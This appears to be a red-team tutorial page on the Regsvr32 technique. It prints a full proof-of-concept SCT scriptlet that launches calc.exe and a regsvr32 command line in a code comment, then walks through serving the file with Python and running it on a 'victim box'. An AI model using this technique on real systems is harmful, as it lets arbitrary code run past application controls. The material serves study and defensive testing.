# Regsvr32

This technique uses a SCT file loaded remotely.

SCT: Script used to create a Component Object Model ([.COM](https://fileinfo.com/extension/com)) component, may be written in various scripting languages such as VBScript, JavaScript, or JScript; runs itself in Windows if the Windows Scripting Host is installed.

A very basic SCT file that will execute `calc.exe` :

```
<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
	<!-- Proof Of Concept - Casey Smith @subTee -->
	<!--  License: BSD3-Clause -->
	<script language="JScript">
	<![CDATA[
		//x86 only. C:\Windows\Syswow64\regsvr32.exe /s /u /i:file.sct scrobj.dll
		
		var scr = new ActiveXObject("MSScriptControl.ScriptControl");
		scr.Language = "JScript";
		scr.ExecuteStatement('var r = new ActiveXObject("WScript.Shell").Run("calc.exe");');
		scr.Eval('var r = new ActiveXObject("WScript.Shell").Run("calc.exe");');
		
		//https://msdn.microsoft.com/en-us/library/aa227637(v=vs.60).aspx
		//Lots of hints here on futher obfuscation
		]]></script>
</registration>
</scriptlet>
```

I will host this on my Kali box using python3

```
sudo python3 -m http.server 80
```

![](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-M-HSRoNvu1-gJI7VVFX%2F-M-HSXbTJKGlqM9JV2Xl%2Fimage.png?alt=media\&token=99464dae-27b6-44df-87a7-4df61664ff32)

Now let's call it from our Victim Box.

![](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-M-HSYQCwW-5USRN_SyH%2F-M-HSgX_4WF7Su4S1iH_%2Fimage.png?alt=media\&token=3ef5c047-69ef-4c6f-aff3-0609f4738dc9)

And execute

![](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-M-HSYQCwW-5USRN_SyH%2F-M-HTK71SUNL6EX7R04G%2Fimage.png?alt=media\&token=21ebc67c-ccb8-4deb-b190-a2a53d2bca48)

Demo:

![](https://244509215-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Lx2b2zLkTKHrsGfxMoR%2F-M-HX_XCw-svqwduvIbv%2F-M-Ha55rCGfRgrvcqDYp%2FRegsvr32-Example.gif?alt=media\&token=698db20d-86ed-47fe-8bb9-1a1b5242730c)